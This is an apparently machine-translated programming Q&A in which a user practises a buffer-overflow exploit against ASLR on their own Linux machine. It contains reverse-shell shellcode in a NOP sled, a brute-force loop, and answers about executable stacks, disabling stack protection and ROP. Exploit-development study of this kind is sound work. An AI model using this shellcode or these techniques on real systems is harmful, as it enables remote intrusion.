2

練習のために、自分のマシンで ASLR 実装をブルートフォースしようとしています。まず、ASLR がオンになっていることを確認します。

cat /proc/sys/kernel/randomize_va_space
1

私が使用しているマシンは次のとおりです:-

bt ~ # uname -a
Linux bt 2.6.20-BT-PwnSauce-NOSMP #3 Sat Feb 24 15:52:59 GMT 2007 i686 pentium3 i386 GNU/Linux

私のプログラムは次のように単純です。

bt ~ # cat t.c
#include<stdio.h>


int main(int argc, char **argv) {
char buffer[50];
gets(buffer);
return 0;
}

これを利用するために、次のように環境変数を作成します。ご覧のとおり、リバース シェルのエクスプロイト コードを含む非常に巨大な nop スレッドがあります。

export EGG=`perl -e 'print "\x90"x64000 . "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xac\x10\x00\x01\x66\x68\x11\x5c\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'`

次の C プログラムを使用して、環境変数のアドレスを見つけます。

int main(int argc, char **argv) {
printf("%p\n", getenv(argv[1]));
return 0;
}

としてアドレスを取得します0xbfefadfd

リターンアドレスのオーバーフローには76 bytes of something+がかかることがわかりました4 bytes of the return address。だから、私はブルートフォースするために: -

$ echo `perl -e 'print "A"x76 . "\xfd\xad\xef\xbf"'` > file
$ while true; do ./t < file; done

予想どおり、セグメンテーション違反のログは取得されますが、プログラムを約 30 分間実行した後でもリバース シェルは取得されません。ここで何か間違っていますか?

4

3 に答える 3

2

考慮しなければならないことがいくつかあります。1. シェルコードはアーキテクチャと一致する必要があります。(これは簡単にテストできます)。2. シェルコードをスタックに置くため、スタックが実行可能であることを確認する必要があります。これを実現する 1 つの方法は、「-z execstack」フラグを使用して gcc にコンパイルすることです。

また、正しいアドレスにヒットする可能性を高める他のアプローチがあるかもしれません。

于 2011-05-15T14:02:46.357 に答える
2

スタックが実行可能でない可能性があります。で確認できreadelfます。GNU_STACKセクションが実行可能とマークされていない場合、アプリケーションには NX スタックがあります。

ところで、この場合、ASLR を無効にするためのより良いアプローチがあります。

あなたができることは、アドレスが ASLR によって変更されていない .text セクションに戻ることです。pop-ret、pop-pop-ret は、「使用可能な」値に達するまでスタックをポップアウトします。使えるものは非常にシチュエーションに左右されます。通常、入力文字列、環境変数などへのポインターを探します。

また、Return Oriented Programming (ROP) は最近の流行語です。見てみな。

于 2011-05-15T14:03:48.747 に答える
1

これを試しているプラ​​ットフォームはわかりませんが、ASLR を除いて、gcc のデフォルトでスタック カナリア/保護も使用している可能性が非常に高いです。このコンパイルを無効にするには、-fno-stack-protector を使用します。

于 2011-05-15T11:09:01.453 に答える